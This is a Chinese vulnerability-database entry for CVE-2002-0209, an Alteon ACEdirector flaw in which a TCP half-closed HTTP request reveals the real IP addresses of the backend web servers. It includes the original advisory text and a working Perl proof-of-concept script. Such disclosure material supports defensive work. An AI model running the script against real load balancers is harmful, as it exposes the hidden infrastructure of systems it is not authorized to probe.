Alteon AceDirector半开连接HTTP请求导致真实IP地址泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106548 漏洞类型 设计错误
发布时间 2001-12-20 更新时间 2005-05-02
CVE编号 CVE-2002-0209 CNNVD-ID CNNVD-200205-009
漏洞平台 Hardware CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/21243
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200205-009
|漏洞详情
AlteonACEdirector是一个由NortelNetworks公司提供的HTTP服务器负载平衡硬件解决方案。ACEdirector运行NortelWebOS操作系统。ACEdirector的设计存在问题,可以使远程攻击者得到ACEdirector所管理的真实的IP地址。当有客户端连接ACEdirector代表的虚拟IP地址时,连接被负载均衡重定向到后面服务器池中的某个服务器,并使用cookie和sessionid进行跟踪,但连接还是被修改成象是来自ACEdirector。当客户端使用半开连接方式连接ACEdirector时,负载均衡系统就不会调节网络流量,网络流量看起来就会来自服务器真实的IP。
|漏洞EXP
source: http://www.securityfocus.com/bid/3964/info

Alteon ACEdirector is a hardware solution distributed by Nortel Networks. ACEdirector runs the Nortel WebOS operating system.

It is possible to retrieve the real IP addresses of webservers that are managed by an ACEdirector. When a client is connected to a webserver via the virtual IP address of the ACEdirector, the connection to a web server in the load balanced pool is tracked by a cookie and session id, and the traffic is altered to appear as though it is coming from the ACEdirector.

When a client has half-closed a connection to the ACEdirector, the load balancer will no longer alter the traffic to the client to appear as though it is coming from the ACEdirector's IP address. The traffic will continue to come from the webserver, but will instead come from the real IP address of the web server.

#! /usr/local/bin/perl

# acedirector_request - trivial script to do an HTTP Simple-Request of "/"
#                       utilizing TCP half-close.
#
#                       This script was written to demonstrate how one can
#                       elicit erroneous behavior from an Alteon/Nortel
#                       ACEdirector which has been configured to use its
#                       "Server Load Balancing" (SLB) and "Cookie-Based
#                       Persistence" features.
#
# Dave Plonka <plonka@doit.wisc.edu>, Dec 20 2001

use IO::Socket;
use FindBin;
use Getopt::Std;

if (!getopts('c:') or '' eq $ARGV[0]) {
   die "usage: $FindBin::Script [-c COOKIE] web_server\n"
}

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => 'http(80)',
				 Proto    => 'tcp');
die unless ref($sock);

if (!$opt_c) {
   print $sock "GET /\r\n";
} else {
   print $sock "GET / HTTP/1.0\r\nCookie: ${opt_c}=X\r\n\r\n";
}

$sock->shutdown(1);

@response = <$sock>;

if (@response) {
   print join("\n", @response)
} else {
   if ($opt_c) {
      my $command = "tcpdump -nv tcp and port 80 and not host $ARGV[0]";
      warn "$ARGV[0] did not respond to TCP half-closed request.\n" .
           " Launching tcpdump to watch for RST...\n";
      system($command . " 2>&1");
      if (0 != ($?/256)) {
         warn "\"$command\" failed.\n"
      }
   } else {
      warn "$ARGV[0] did not response to TCP half-closed request.\n" .
	   "It might be an ACEdirector.\n"
   }
}

exit
|参考资料

来源:XF
名称:acedirector-http-reveal-ip(8010)
链接:http://www.iss.net/security_center/static/8010.php
来源:BUGTRAQ
名称:20020125AlteonACEdirectorsignature/securitybug
链接:http://online.securityfocus.com/archive/1/252455
来源:BID
名称:3964
链接:http://www.securityfocus.com/bid/3964
来源:BUGTRAQ
名称:20020312Re:AlteonACEdirectorsignature/securitybug
链接:http://online.securityfocus.com/archive/1/261548